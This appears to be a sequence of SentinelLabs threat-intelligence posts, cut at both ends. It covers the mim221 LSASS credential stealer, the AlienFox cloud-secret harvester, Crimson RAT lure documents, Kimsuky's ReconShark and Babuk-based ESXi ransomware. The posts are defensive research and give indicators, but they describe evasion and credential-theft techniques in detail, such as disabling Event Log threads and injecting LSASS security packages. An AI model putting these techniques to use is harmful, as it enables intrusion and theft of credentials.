Fri May 27 20:56:26 2022 (UTC)
pc.exe
The main binary executed by the threat actor is pc.exe. It decrypts AddSecurityPackage64.dll and pc.dll, stores pc.dll on the file system, and then loads and executes AddSecurityPackage64.dll by invoking its exported function, pathAddPackage.
The execution of pc.exe requires a password supplied by the operator (in this case, P2sSW0rd1234!@#$C), which the operator provides through the key command-line parameter.
pc.exe decrypts AddSecurityPackage64.dll and pc.dll using the AES encryption algorithm, providing the operator-provided execution password as an initialization vector.
pc.exe loads and executes the decrypted AddSecurityPackage64.dllusing reflective image loading. This technique involves first mapping a Windows PE image in memory and then executing the image’s main entry point or an export function.
Among other activities, the image mapping process includes allocating memory for the image, storing the image headers and sections in the memory, populating the images’ import and delay import tables, adding exception handlers, and executing TLS callback and export routines. The Phant0m tool provides a complete implementation of this process.
While reflective image loading is a known technique at this time, its use was first observed in the DoublePulsar and subsequently the SlingShot frameworks in 2017 and 2018, respectively. This technique enables the fully fileless loading and execution of a malicious image without invoking the standard Windows API, such as LoadLibrary. This eliminates detection based on API hooking and file artifacts.
When it is finished executing, pc.exe displays a message indicating a version number and build timestamp: Version 2.2.1 - build on Jun 9 2022 16:02:12.
AddSecurityPackage64.dll
AddSecurityPackage64.dll, which is the original filename of this mim221 component, is responsible for:
Obtaining the SeDebugPrivilege and SYSTEM privilege by access token impersonation. This allows mim221 to inspect and extract credentials from the LSASS process.
Disabling Windows event logging in an attempt to evade detection; and
Injecting pc.dll into LSASS as a Security Package. Security Packages are used to extend the Windows authentication mechanism and can be abused to execute malicious code in the context of LSASS.
In an attempt to remain undetected, AddSecurityPackage64.dll disables Windows event logging by killing threads of the Windows Event Log service without stopping the execution of the service itself. This is achieved by locating the process that hosts the Event Log, enumerating the processes’ threads, identifying the threads assigned to the service by their service tag (eventlog), and terminating them.
Querying service tag information
AddSecurityPackage64.dll injects pc.dll into LSASS by deploying pc.dll as a Security Package. To this end, AddSecurityPackage64.dll issues an RPC call to LSASS – to the ncalrpc:[lsasspirpc] RPC endpoint, providing the file path to pc.dll to LSASS. This call instructs LSASS to load and execute pc.dll, which then stages the getHashFlsa64.dll credential theft component.
getHashFlsa64.dll conducts credential theft in the context of LSASS
pc.dll and getHashFlsa64.dll
In the context LSASS, pc.dll decrypts, reflectively loads, and executes the code credential theft component getHashFlsa64.dll in a manner similar to pc.exe. pc.dll and getHashFlsa64.dll share the same original filename: getHashFlsa64.dll.
pc.dll is implemented such that its main routine returns FALSE, making LSASS execute pc.dll and then unload it. This is a detection evasion technique making LSASS load pc.dll while avoiding appearing as an added (registered) Security Package. LSASS normally creates registry entries when adding Security Packages and does not unload them once loaded. This provides an opportunity for defenders to detect the loading of malicious Security Packages. Previous research provides more detail on this topic.
getHashFlsa64.dll accesses the memory of its host LSASS process and stores stolen credentials in a Mimikatz log file named pc.log for later exfiltration.
Example pc.log content
getHashFlsa64.dll exports a function named GetMyVersion, which displays a version number and build timestamp (Version 2.2.0 - build on May 28 2022 04:56:23), in a format consistent with the output from pc.exe. The credential theft functionality of getHashFlsa64.dll is implemented in its export function GetLogonInfo.
The GetMyVersion function
Additional Information
Error Messages and Public Code Reuse
The mim221 components implement error logging. The error messages follow a consistent output format.
Example error messages
It is important to note that we observed code segments that seem to be modified versions of publicly available code. For example, the implementation of AddSecurityPackage64.dll looks like an adaptation of public code that demonstrates injection of a Security Package into LSASS using RPC calls.
Similarity between publicly available code (top) and AddSecurityPackage64.dll (bottom)
Timestamp Information
The mim221 components that reflectively load other executables, pc.exe and pc.dll, patch beforehand a string in the loaded executable, which provides further timestamp information: ====A!B@C#0-2022-05-23 16:33:03S. The patching involves replacing the string with configuration information, such as the mim221 execution password and a path to the log file for storing stolen credentials.
Patched timestamp string
Attribution Analysis
We assess it is highly likely the initial attack phases we observed were conducted by Chinese threat actors with cyberespionage motivations. Telecommunication providers are frequent targets of espionage activity due to the sensitive data they hold. Our analysis identified indicators that point to the operation Soft Cell actors.
Operation Soft Cell has been associated with the Gallium group based on TTPs and some of the domains the group has been using.
Active since at least 2012, Gallium is likely a Chinese state-sponsored group that is targeting telecommunication, financial, and government entities in Southeast Asia, Europe, Africa, and the Middle East. While the group’s original focus has been on telecommunication providers, recent reports suggest that Gallium has recently expanded targeting across other sectors.
The initial intrusion vector and the majority of the TTPs we observed closely match those conducted by, or associated with, the Soft Cell actors. This includes deploying webshells at Microsoft Exchange servers for establishing an initial foothold, following same file naming conventions, using the LG tool and the net, query, and tasklist Windows built-in tools for gathering user and process information, and the PsExec Windows Sysinternals tool and net for lateral movement and exploration, respectively.
It is worth noting that the attackers’ activities at one of the targets suggested previous knowledge of the environment. We had observed activity at the same target a few months prior, which we attributed to Gallium primarily based on the use of the group’s PingPull backdoor and TTPs.
By pivoting on the original filename of mim221’s getHashFlsa64.dll, we observed another sample that steals credentials from LSASS. This sample has the PDB path of e:\vs_proj\mimkTools\getHashFlsa\getHashFlsa\x64\release\getHashFlsa64.pdb and has been first submitted to VirusTotal from Vietnam on January 04, 2023.
The path partially overlaps with the PDB path of a Mimikatz Soft Cell executable (E:\vs_proj\simplify_modify\Win32\simplify.pdb) and another Mimikatz executable of a Chinese threat actor thought to be part of the Soft Cell activity group arsenal (E:\vs_proj\mimkTools\dcsync_new\x64\dcsync64.pdb). This indicates that mim221 and these binaries may originate from the same source.
Closer analysis confirms that the sample we pivoted to is a previous, less-advanced version of mim221 – Version 2.2.0 – that does not include some mim221 components, such as AddSecurityPackage64.dll and pc.dll. We refer to this sample as mim220.
Output from mim220 (top) and mim221 (bottom)
Previous research indicates possible connections between the Soft Cell actors and APT41, which is known to conduct Chinese state-sponsored espionage activity as well as financially motivated activity targeting multiple sectors with a broad geographical coverage, including telecommunication providers.
The connection between the Soft Cell actors and APT41 that most relates to the activities that we observed is based on the Whizzimo, LLC certificate of the Soft Cell binary with a PDB path E:\vs_proj\simplify_modify\Win32\simplify.pdb, a binary that possibly originates from the same source as mim221. This certificate has been reported to be used by APT41. Pivoting on this certificate reveals further Mimikatz modifications, some with filenames very similar to those we observed.
Conclusions
Chinese cyberespionage threat actors are known to have a strategic interest in the Middle East. This is evident from their consistent targeted attacks on various entities including government, finance, entertainment, and telecommunication organizations. The recent activities targeting the telecommunication sector this post discusses are some of the latest such attacks.
Our analysis of mim221 highlights the continuous maintenance and further development of the Chinese espionage malware arsenal. These threat actors will almost certainly continue exploring and upgrading their tools with new techniques for evading detection, including integrating and modifying publicly available code.
SentinelLabs continues to monitor espionage activities and hopes that defenders will leverage the findings presented in this post to bolster their defenses.
When we first set down the idea of starting a SentinelLabs conference, we decided that the central tenet of the con would be to create a stage to showcase the best research, recognize potential contributions, and amplify them. As LABScon evolved and we were crafting the agenda, Ryan Naraine and I developed a shortlist of ‘dream talks’ we’d love to see on the first day Keynote stage. One idea that kept percolating up to the top was ‘can we get Mark Russinovich to give us a history of SysInternals?’ We eventually realized more than a talk, we were expressing a lasting admiration that deserves greater recognition. So as we set about convincing Mark to join our stage for this coveted talk, we sneakily set about creating our first ‘LABScon Lifetime Achievement Award’.
Mark Russinovich (Left) receiving LABScon Lifetime Achievement Award from Ryan Naraine (Right)
Mark Russinovich is now a recognizable commodity in the computing industry and prominently holds the position of Microsoft Azure’s Chief Technology Officer but to the malware analysis industry he’s a different figure altogether– Mark is the father of the SysInternals Suite. Early Windows sysadmins and malware analysts came to rely on this handy suite of tools for their day-to-day work.
The suite includes well-known tools like Process Explorer, System Monitor (SysMon), and Process Monitor (ProcMon). Though malware analysis is now a well-established subset of reverse engineering, it originally arose in part from using utilities to track OS quirks as they interacted with malware. To this day, dynamic analysis 101s kick off with SysInternals tools.
Mark Russinovich describing his early journey into computing
As Mark mentions in the talk, defenders weren’t the only ones that saw the utility of SysInternals tools. Attackers have also adopted tools like PsExec and Sdelete for crucial parts of their operations. PsExec started out as a tool to allow sysAdmins to execute commands remotely. Those admins in turn realized its convenient ability to spawn remote processes. That same ability is now enthusiastically applied by ransomware operators and other attackers looking to move laterally and spread across an enterprise.
More recently, as cyber operations pepper the Ukrainian landscape in the midst of the Russian invasion, not all wipers have been purpose built by the attackers. On top of the approximately 15 wipers (that we know of) being used in Ukraine since February 2022, MSTIC researchers also spotted abuse of Sdelete in data destruction operations. While Sdelete was designed as a utility to securely erase files on Windows systems, it’s just as useful to threat actors like ‘IRIDIUM’ who’ll rename it ‘cdel.exe’ and effectively use it as a wiper. More recently, ESET also announced their discovery of a new wiper based on Sdelete that they call ‘NikoWiper’ used against the Ukrainian energy sector.
ESET’s T3 2022 Report, page 11
Abusing great tools is a staple of the dual-use nature of technology but it’s undeniable that the SysInternals Suite has done orders of magnitude more good in the hands of sysadmins, defenders, and malware analysts. Mark was also kind enough to share a demo preview of a special capability meant to address some of these abuses (kept as TLP:RED) for the LABScon audience. It’s worth noting as an example of Mark’s continued commitment to the SysInternals tools as he continues to contribute features and bug fixes to this day.
It’s in that spirit of appreciation that we recognize Mark Russinovich as our first LABScon Lifetime Achievement Award. We hope you’ll join us in congratulating him and enjoy his keynote: ‘The Life and Times of SysInternals’
SentinelLabs analyzed several iterations of “AlienFox,” a comprehensive toolset for harvesting credentials for multiple cloud service providers.
Attackers use AlienFox to harvest API keys & secrets from popular services including AWS SES & Microsoft Office 365.
AlienFox is a modular toolset primarily distributed on Telegram in the form of source code archives. Some modules are available on GitHub for any would-be attacker to adopt.
The spread of AlienFox represents an unreported trend towards attacking more minimal cloud services, unsuitable for cryptomining, in order to enable and expand subsequent campaigns.
Along with our thorough analysis of different AlienFox iterations, we provide a full list of indicators of compromise, YARA rules, and recommendations in the full report.
Overview
SentinelLabs has identified a new toolkit dubbed AlienFox that attackers are using to compromise email and web hosting services. AlienFox is highly modular and evolves regularly. Most of the tools are open-source, meaning that actors can readily adapt and modify to suit their needs. Many developers take credit on different iterations of the tools. The evolution of recurring features suggests the developers are becoming increasingly sophisticated, with performance considerations at the forefront in more recent versions.
Actors use AlienFox to collect lists of misconfigured hosts from security scanning platforms, including LeakIX and SecurityTrails. They use multiple scripts in the toolset to extract sensitive information such as API keys and secrets from configuration files exposed on victims’ web servers.
Later versions of the toolset added scripts that automate malicious actions using the stolen credentials, including:
Establishing Amazon Web Services (AWS) account persistence and privilege escalation
Collecting send quotas and automating spam campaigns through victim accounts or services
SentinelLabs’ full report provides more details of AlienFox distribution and targeting, along with a detailed analysis of the entire toolset. A comprehensive list of Indicators of Compromise can also be found there.
AlienFox is a framework of tools that target a variety of web services, though the overarching theme for the toolset is cloud-based and software-as-a-service (SaaS) email hosting services.
Current observations indicate that AlienFox targeting is primarily opportunistic. The actors rely on server misconfigurations associated with popular web frameworks, including Laravel, Drupal, Joomla, Magento, Opencart, Prestashop, and WordPress. The toolsets contain scripts designed to check for the aforementioned services; each script requires a list of targets read from a text file. These ‘target’ files are generated by a separate script, such as grabip.py and grabsite.py. The target generation scripts use a combination of brute force for IPs and subnets, as well as web APIs for open-source intelligence platforms to provide details about potential targets. We observed scripts leveraging the SecurityTrails and LeakIX platforms’ API.
When a susceptible server is identified, the actor parses exposed environment or configuration files that store sensitive information, such as services enabled and the associated API keys and secrets. We found scripts targeting tokens and secrets from:
1and1
AWS
Bluemail
Exotel
Google Workspace
Mailgun
Mandrill
Nexmo
Office365
OneSignal
Plivo
Sendgrid
Sendinblue
Sparkpostmail
Tokbox
Twilio
Zimbra
Zoho
Versioning
The tool techniques and how they are organized varies across versions. To date, we have identified AlienFox versions 2 through 4, which date from February 2022 onward. Several scripts we analyzed have been summarized by other researchers as malware families Androxgh0st and GreenBot (aka Maintance). As these researchers noted, the scripts are readily available in open sources including GitHub, which lends to constant adaptation and variation in the wild.
AlienFox V2
The oldest of the known AlienFox toolsets, Version 2 focuses primarily on extracting credentials from web server configuration or environment files. The archive we analyzed contains output from when an actor ran the tools, which included AWS access & secret keys. In this version of the AlienFox toolset, the core utility is housed in a script named s3lr.py, which is similar to env.py outlined in later versions.
Version 2 contains awses.py, a script that uses the AWS SDK Boto3 Python client to automate activities related to AWS Simple Email Service (SES), including sending & receiving messages and applying an elevated privilege persistence profile to the AWS account.
The kirimi function in awses.py checks for SES send quotas and retrieves email addresses in the targeted account’s SES configuration
Additionally, Version 2 contains ssh-smtp.py, which parses configuration files for credentials and uses the Paramiko Python library to validate SSH configurations on the targeted web server. This script also contains encoded commands that potentially target CVE-2022-31279, a rejected Laravel PHP Framework deserialization vulnerability.
Code from ssh-smtp.py‘s get_appkey function, including the decoded payloads
A more complete analysis of AlienFox v2 can be found in the full report.
AlienFox V3.x
Of the three known major versions of AlienFox, we identified the most unique archives labeled as Version 3. We observed the following name variations and respective file creation dates:
ALIEN-FOX AFV 3.0 Izmir – February 2022
ALIENFOX III V3.0 AFV.EXE – February 2022
ALIEN-FOX AFV 3.5 JAGAUR – April 2022
ALIEN-FOX AFV 3.5 rondrickmadeit – February 2022
Version 3.x contained the first observed version of the script Lar.py, which automates extraction of keys and secrets from compromised Laravel .env files and logs the results to a text file along with the targeted server details. Lar.py was uploaded to VirusTotal along with the script’s output, providing us a glimpse into its utility to threat actors.
Output written by Lar.py to aws_access_key_secret.txt Output from lar.py to Result/office.txt
It is worth noting that each of the SES-abusing toolsets we analyzed targets servers using the Laravel PHP framework, which could indicate that Laravel is particularly susceptible to misconfigurations or exposures.
Lar.py is coded in a more mature way than the AlienFox Version 2 scripts and their derivatives. Lar.py applies threading, Python classes with modular functions, and initialization variables. The author also adds tags to the stolen data output that logs whether the data was harvested using a configuration parser (.env method) or through a regular expression (debug method), which demonstrates an awareness of efficacy metrics.
AlienFoxV4
The most recent of the known toolsets, this set is organized much differently, with each tool assigned a numerical identifier (e.g., Tool1, Tool2). There is a core script in the AlienFox root directory named ALIENFOXV4.py that serves as a bootstrap for the numbered tool scripts in the child folders.
Tools 5, 6, 7, & 8 collect lists of targets and others check if the targets are misconfigured or exposed. For example, Tool17 contains cms.py, a script that checks sites for the presence of WordPress, Joomla, Drupal, Prestashop, Magento, Opencart. Tool13 contains similar AWS and SES-centric functionality seen in Version 2’s BTC.py.
While the aforementioned tools are well aligned with the older versions of AlienFox, several new additions suggest the developer is expanding the audience for the toolset or potentially to augment capabilities of the toolset’s existing customer base. For example, Tool16 is an Amazon.com retail site account checker that checks if an email address is already associated with an Amazon account; if not, the script creates a new Amazon account using the email address.
Additionally, Tools 19 (BTC.py) and 20 (ETH.py) automate cryptocurrency wallet seeds for Bitcoin and Ethereum, respectively. Despite the current functionality, the internal name for the last two tools says the scripts are a “Wallet Cracker.”
Wallet seed generation in ETH.py
We explore the tools mentioned above in greater detail in the full report.
Recommendations
To defend against AlienFox tools, organizations should use configuration management best practices and adhere to the principle of least privilege. Consider using a Cloud Workload Protection Platform (CWPP) on virtual machines and containers to detect interactive activity with the OS.
Because activities like brute-force or password spray attempts may not be logged by certain service providers, we recommend monitoring for follow-on actions, including the creation of new accounts or service profiles–particularly those with high privilege. Additionally, consider monitoring for newly added email addresses in platforms where your organization conducts email campaigns.
Conclusion
The AlienFox toolset demonstrates another stage in the evolution of cybercrime in the cloud. Cloud services have well-documented, powerful APIs, enabling developers of all skill levels to readily write tooling for the service. The toolset has gradually improved through improved coding practices as well as the addition of new modules and capabilities.
Opportunistic cloud attacks are no longer confined to cryptomining: AlienFox tools facilitate attacks on minimal services that lack the resources needed for mining. By analyzing the tools and tool output, we found that actors use AlienFox to identify and collect service credentials from misconfigured or exposed services. For victims, compromise can lead to additional service costs, loss in customer trust, and remediation costs.
Indicators of Compromise
A comprehensive list of IoCS appears in the full report.
SentinelLabs has been tracking a cluster of malicious documents that stage Crimson RAT, distributed by APT36 (Transparent Tribe).
We assess that this activity is part of the group’s previously reported targeting of the education sector in the Indian subcontinent.
We observed APT36 introducing OLE embedding to its typically used techniques for staging malware from lure documents and versioned changes to the implementation of Crimson RAT, indicating the ongoing evolution of APT36’s tactics and malware arsenal.
Overview
SentinelLabs has been tracking a recently disclosed cluster of malicious Office documents that distribute Crimson RAT, used by the APT36 group (also known as Transparent Tribe) targeting the education sector. This post summarizes our observations highlighting the group’s continuous change in used malware staging techniques and Crimson RAT implementations.
Transparent Tribe is a suspected Pakistan-based threat group active since at least 2013. The group is not very sophisticated; however, it is a highly persistent threat actor that continuously adapts its operational strategy. Transparent Tribe has previously focused mainly on Indian military and government personnel, but it has recently expanded its scope to include educational institutions and students in the Indian subcontinent. Crimson RAT is a consistent staple in the group’s malware arsenal the adversary uses in its campaigns.
The names and content of the lure documents, the associated domains, and the use of Crimson RAT suggest that the activities discussed in this post are part of a previously reported broader targeting of the education sector by Transparent Tribe.
Further, the PDB paths of some Crimson RAT samples we analyzed contain the word Wibemax, which is also contained in the PDB paths of Crimson RAT payloads observed in a previous Transparent Tribe campaign.
Wibemax matches the name of a Pakistani software development company, but at this time we have not identified a clear relationship to the adversary.
It is worth noting that there are high confidence assessments of Transparent Tribe leveraging third parties to support their operation, such as the Pakistani web hosting provider Zain Hosting.
Our analysis reinforces the assessment that closely monitoring the research endeavors of adversary nations has become an important objective for the adversary, underscoring the crucial role this activity plays in fulfilling the goals and aspirations of the authorities whose interests Transparent Tribe represents.
Malicious Documents
The documents that Transparent Tribe distributes have education-themed content and names such as assignment or Assignment-no-10, and indicate creation dates of July and August 2022. Based on known behavior of this group, we suspect that the documents have been distributed to targets as attachments to phishing emails. Consistent with known Transparent Tribe tactics, we observed that some of the documents have been hosted on file hosting services and attacker-created domains, such as s1.fileditch[.]ch, cloud-drive[.]store, and drive-phone[.]online.
It is important to note that cloud-drive[.]store and drive-phone[.]online have been previously linked to Transparent Tribe activities targeting the education sector and assessed as domains prepared for future use. Further, drive-phone[.]online closely resembles the phone-drive[.]online domain recently observed hosting Transparent Tribe malware targeting Indian and Pakistani Android users.
The malicious documents we analyzed stage Crimson RAT using Microsoft Office macros or OLE embedding.
The macro code executes when the documents are opened, and its functionality is consistent with known Transparent Tribe macro variants. The macros create and decompress an embedded archive file in the %ALLUSERSPROFILE% directory (C:\ProgramData) and execute the Crimson RAT payload within. Some macros insert text in the document, which is typically education-themed content relating to India.
Macro implementationMacro-inserted document text
In addition to macros, we observed that Transparent Tribe have adopted OLE embedding as a technique to stage Crimson RAT. Malicious documents that implement this technique require users to double-click a document element. The documents distributed by Transparent Tribe typically display an image (a “View Document” graphic) indicating that the document content is locked. This lures users to double-click the graphic to view the content, which activates an OLE package that stores and executes Crimson RAT masquerading as an update process (MicrosoftUpdate.exe).
The “View Document” graphicOLE stream that stores Crimson RAT
Transparent Tribe is known to experiment with different malware staging techniques, which include distributing executables with embedded documents or documents that execute designated Crimson RAT loaders. The adoption of OLE embedding further highlights the group’s continuous experimentation with malware staging techniques.
Crimson RAT Implementations
We observed a variety of Crimson RAT .NET implementations, with compilation timestamps between July and September 2022. The Crimson RAT payloads we analyzed use the richa-sharma.ddns[.]net domain for C2 purposes and support either 40 or 65 commands, most of which have been documented in previousresearch. Features of Crimson RAT include exfiltrating system information, capturing screenshots, starting and stopping processes, and enumerating files and drives.
A Crimson RAT command dispatch routine
Some Crimson RAT variants are stripped of debug information, whereas others have PDB paths that contain a date stamp, the word Richa, which relates to the configured C2 domain, and the word Wibemax. Portions of these PDB paths overlap those of Crimson RAT payloads observed in a previous Transparent Tribe campaign, such as D:\Projects\Wibemax\WinP\WinP\obj\Debug\WinP.pdb and D:\Projects\Wibemax\Windows RAT\1 Windows 10 Client\Win8P-Sunny\2022-04-15-Win8P Sunny\obj\Debug\FUJIKBattery.pdb.
Crimson RAT PDB paths
We observed different Crimson RAT version identifiers: R.S.8.8., R.S.8.9, R.S.8.1, and R.S.8.6. We speculate that the R.S. components of the identifiers may relate to the configured C2 domain (richa-sharma.ddns[.]net) and the numerical components may specify a version (build) number. This aligns with a documented Crimson RAT variant with the identifier S.L.2.2., which has used the sunnyleone.hopto[.]org domain for C2 purposes.
As an anti-analysis measure, Crimson RAT variants delay their execution for a given time period, for example, 61, 180, or 241 seconds. Most of the Crimson RAT variants we analyzed evaluate whether they execute at a machine named G551JW or DESKTOP-B83U7C5 and establish persistence by creating a registry key under \SOFTWARE\Microsoft\Windows\CurrentVersion\Run only if the victim’s machine name differs. G551JW or DESKTOP-B83U7C5 may be the names of the machines where Crimson RAT developers have been running test executions.
Crimson RAT variants implement different obfuscation techniques of varying intensities, for example, simple function name malformation and dynamic string resolution. We observed the use of the Eazfuscator obfuscator in a Crimson RAT sample named NewOrleans. Evidence suggests that the Crimson RAT developers have patched the routine that evaluates the trial period of Eazfuscator to enable the execution of the malware after the trial period expires.
Eazfuscator trial period evaluation in NewOrleansEazfuscator trial expiry message
With previous variants of Crimson RAT obfuscated using Crypto Obfuscator, the addition of Eazfuscator to the obfuscation techniques used by Transparent Tribe highlights the continuous maintenance and development of the RAT.
Conclusion
Transparent Tribe is a highly motivated and persistent threat actor that regularly updates its malware arsenal, operational playbook, and targets. Our analysis further demonstrates this characteristic of the group by spotlighting the adoption of OLE embedding as a technique for staging malware from lure documents and the Eazfuscator obfuscator to protect Crimson RAT implementations. Transparent Tribe’s constantly changing operational and targeting strategies require constant vigilance to mitigate the threat posed by the group.
SentinelLabs has observed ongoing attacks from Kimsuky, a North Korean state-sponsored APT that has a long history of targeting organizations across Asia, North America, and Europe.
Ongoing campaigns use a new malware component we call ReconShark, which is actively delivered to specifically targeted individuals through spear-phishing emails, OneDrive links leading to document downloads, and the execution of malicious macros.
ReconShark functions as a reconnaissance tool with unique execution instructions and server communication methods. Recent activity has been linked to a wider set of activity we confidently attribute to North Korea.
Background
Kimsuky is a North Korean advanced persistent threat (APT) group with a long history of targeted attacks across the world. Current understanding of the group indicates they are primarily assigned to intelligence collection and espionage operations in support of the North Korean government since at least 2012. In 2018 the group was observed deploying a malware family dubbed BabyShark, and our latest observations indicate the group has evolved the malware with an expanded reconnaissance capability – we refer to this BabyShark component as ReconShark.
Targeted Organizations
Historically, Kimsuky targets have been located across countries in North America, Asia, and Europe. In the groups latest campaigns, they continue their global targeting themed around various ongoing geopolitical topics. For example, the latest Kimsuky campaigns have focused on nuclear agendas between China and North Korea, relevant to the ongoing war between Russia and Ukraine.
In a recent campaign Kimsuky targeted the staff of Korea Risk Group (KRG), the information and analysis firm specializing in matters directly and indirectly impacting the Democratic People’s Republic of Korea (DPRK). We applaud KRG’s willingness to publicly share our analysis of attacks against them so the wider cybersecurity community can use this intelligence for expanded understanding of the Kimsuky threat actor and their own hunting and detection efforts. Our assessment is that the same campaign has been used to continue targeting other organizations and individuals in at least the United States, Europe, and Asia, including think tanks, research universities, and government entities.
Initial Access Targeting
For the deployment of ReconShark, Kimsuky continues to make use of specially crafted phishing emails. Notably, the spear-phishing emails are made with a level of design quality tuned for specific individuals, increasing the likelihood of opening by the target. This includes proper formatting, grammar, and visual clues, appearing legitimate to unsuspecting users. Notably, the targeted emails, which contain links to download malicious documents, and the malicious documents themselves, abuse the names of real individuals whose expertise is relevant to the lure subject such as Political Scientists.
In the malicious emails, Kimsuky entices the target to open a link to download a password-protected document. Most recently, they made use of Microsoft OneDrive to host the malicious document for download. For example, as used against KRG, the lure email contained the OneDrive shared file link:
The file downloaded is a password protected .doc file named “Research Proposal-Haowen Song.doc” (SHA1: 86a025e282495584eabece67e4e2a43dca28e505) which contains a malicious macro (SHA1: c8f54cb73c240a1904030eb36bb2baa7db6aeb01)
Malicious Document, themed to DPRK / China
ReconShark: A New BabyShark Reconnaissance Variant
The lure documents Kimsuky distributes contain Microsoft Office macros that activate on document close. Based on overlaps in file naming conventions, used malware staging techniques, and code format, we assess that the macros implement a newer variant of a reconnaissance capability of the Kimsuky’s BabyShark malware seen targeting entities in the Korean peninsula towards the end of 2022. We refer to this BabyShark component as ReconShark.
The ability of ReconShark to exfiltrate valuable information, such as deployed detection mechanisms and hardware information, indicates that ReconShark is part of a Kimsuky-orchestrated reconnaissance operation that enables subsequent precision attacks, possibly involving malware specifically tailored to evade defenses and exploit platform weaknesses.
Information Exfiltration
The main responsibility of ReconShark is to exfiltrate information about the infected platform, such as running processes, information about the battery connected to the system, and deployed endpoint threat detection mechanisms.
Similar to previous BabyShark variants, ReconShark relies on Windows Management Instrumentation (WMI) to query process and battery information.
ReconShark queries process and battery information
ReconShark checks for the presence of a broad set of processes associated with detection mechanisms, such as ntrtscan.exe (Trend Micro OfficeScan), mbam.exe (Malwarebytes Anti-Malware), NortonSecurity.exe (Norton Security), and avpui.exe (Kaspersky Internet Security).
Enumeration of deployed detection mechanisms
In contrast to previous BabyShark variants, ReconShark exfiltrates information without first storing it on the filesystem – the malware stores the information it collects in string variables and then uploads them to the C2 server by issuing HTTP POST requests.
ReconShark exfiltrates information
Payload Deployment
In addition to exfiltrating information, ReconShark deploys further payloads in a multi-stage manner that are implemented as scripts (VBS, HTA, and Windows Batch), macro-enabled Microsoft Office templates, or Windows DLL files. ReconShark decides what payloads to deploy depending on what detection mechanism processes run on infected machines.
Some ReconShark strings are encrypted using a relatively simple cipher to evade static detection mechanisms. These strings are typically commands or scripts for downloading and/or executing payloads.
A decrypted command
ReconShark deploys and executes payloads in different ways. For example, the malware can directly download a payload from the C2 server using the curl utility, but also use Windows Shortcut (LNK files) or Office templates for that purpose.
ReconShark edits Windows Shortcuts (LNK files) to the msedge.exe (Microsoft Edge), chrome.exe (Google Chrome), outlook.exe (Office Outlook), whale.exe (Whale browser), and firefox.exe (Mozilla Firefox) applications. When executed, these LNK files start the linked legitimate applications and execute malicious code at the same time.
Further, ReconShark replaces the default %AppData%\Microsoft\Templates\Normal.dotm Office template, which opens whenever a user starts Microsoft Word, with a malicious Office template hosted at the C2 server. This effectively compromises the execution of Microsoft Word.
ReconShark edits LNK files (top) and deploys a malicious Normal.dotm Office template (bottom)
The payload staging ends with Windows Batch or VBS scripts that create the %AppData%\1 file with a content of ss or sss. These files may represent markers of a successful ReconShark execution.
A third-stage ReconShark payload
Infrastructure Analysis
All observed infrastructure in this campaign are hosted on a shared hosting server from NameCheap, whom we’ve already notified of this malicious activity and recommended takedowns. Kimsuky operators continually made use of LiteSpeed Web Server (LSWS) for managing the malicious functionality.
Kimsuky LiteSpeed Web Server Portal
Phishing emails have been observed sending from the yonsei[.]lol domain, while rfa[.]ink and mitmail[.]tech are used for command and control. The domain yonsei[.]lol has been active since December 2022, with malicious activity occurring as recently as this week. rfa[.]ink has been actively used since early February 2023, and mitmail[.]tech since mid January 2023. Kimsuky also made use of newshare[.]online as a C2 server for a short time at the end of 2022.
As shown in the ReconShark macro example, beacons are made to the /bio/ directory of rfa[.]ink. During our analysis of the activity, the attacker made multiple attempts at renaming that directory, including /bio433ertgd12/ then later /bio234567890rtyui/, and a day later returning back to /bio/.
This may have been an attempt to hinder research efforts, or pause the intake of new victims for unknown reasons. The IOC table below highlights each of the URL paths Kimsuky manages across each C2 domain and their specific purpose according to the execution flow in the macro. These patterns match across domains, while the directory they are placed in often varies. Attempted navigation to some paths on C2 domains are configured to redirect visitors to the legitimate Microsoft website.
As with most malicious infrastructure linked to North Korean actors, we can quickly find links back to previous reporting or separate campaigns. For example, links can be found to the domains mainchksrh[.]com and com-change[.]info, with indications com-change was used in 2020-2022 credential phishing campaigns at these subdomains:
The ongoing attacks from Kimsuky and their use of the new reconnaissance tool, ReconShark, highlight the evolving nature of the North Korean threat landscape. Organizations and individuals need to be aware of the TTPs used by North Korea state-sponsored APTs and take necessary precautions to protect themselves against such attacks. The link between recent activity and a wider set of previously unknown activity attributed to North Korea underscores the need for continued vigilance and collaboration.
SentinelLabs identified 10 ransomware families using VMware ESXi lockers based on the 2021 Babuk source code leaks.
These variants emerged through H2 2022 and H1 2023, which shows an increasing trend of Babuk source code adoption.
Leaked source code enables actors to target Linux systems when they may otherwise lack expertise to build a working program.
Source code leaks further complicate attribution, as more actors will adopt the tools.
Background
Throughout early 2023, SentinelLabs observed an increase in VMware ESXi ransomware based on Babuk (aka Babak, Babyk). The Babuk leaks in September 2021 provided unprecedented insight into the development operations of an organized ransomware group.
Due to the prevalence of ESXi in on-prem and hybrid enterprise networks, these hypervisors are valuable targets for ransomware. Over the past two years, organized ransomware groups adopted Linux lockers, including ALPHV, Black Basta, Conti, Lockbit, and REvil. These groups focus on ESXi before other Linux variants, leveraging built-in tools for the ESXi hypervisor to kill guest machines, then encrypt crucial hypervisor files.
We identified overlap between the leaked Babuk source code and ESXi lockers attributed to Conti and REvil, with iterations of the latter sharply resembling one another. We also compared them to the leaked Conti Windows locker source code, finding shared, bespoke function names and features.
In addition to these notorious groups, we also found smaller ransomware operations using the Babuk source code to generate more recognizable ESXi lockers. Ransom House’s Mario and a previously undocumented ESXi version of Play Ransomware comprise a small handful of the growing Babuk-descended ESXi locker landscape.
Babuk Background
Babuk was one of the early players in the ESXi ransomware space. The group’s longevity was crippled in 2021 when a Babuk developer leaked the builder source code for Babuk’s C++-based Linux Executable & Linkable Format (ELF) ESXi, Golang-based Network Attached Storage (NAS), and C++-based Windows ransomware tooling.
Through early 2022, there were few indications that actors had adapted the leaked Babuk source code, aside from a short-lived ‘Babuk 2.0’ variant and the occasional new Windows ransomware du jour. As cybercrime research is often laser-focused on Windows, Linux trends can develop under the radar.
SentinelLabs identified Babuk-descended ransomware through the string Doesn’t encrypted files: %d\n in the source code’s /бабак/esxi/enc/main.cpp.
Unique strings in Babuk source code main.cpp
The Babuk builder specifies a file name for the newly generated binary, e_esxi.out. Several samples we identified share a similar naming convention:
Ransomware Family
File Name
Mario
emario.out
Play
e_esxi.out
Babuk 2023 aka XVGV
RansomWare-e_esxi-XVGV2.out
For encryption, ESXi Babuk uses an implementation of the Sosemanuk stream cipher to encrypt targeted files, in contrast with Babuk for Windows, which uses the HC-128 cipher. Both ESXi and Windows Babuk use Curve25519-Donna to generate the encryption key.
Generations of Babuk
Comparison Methodology
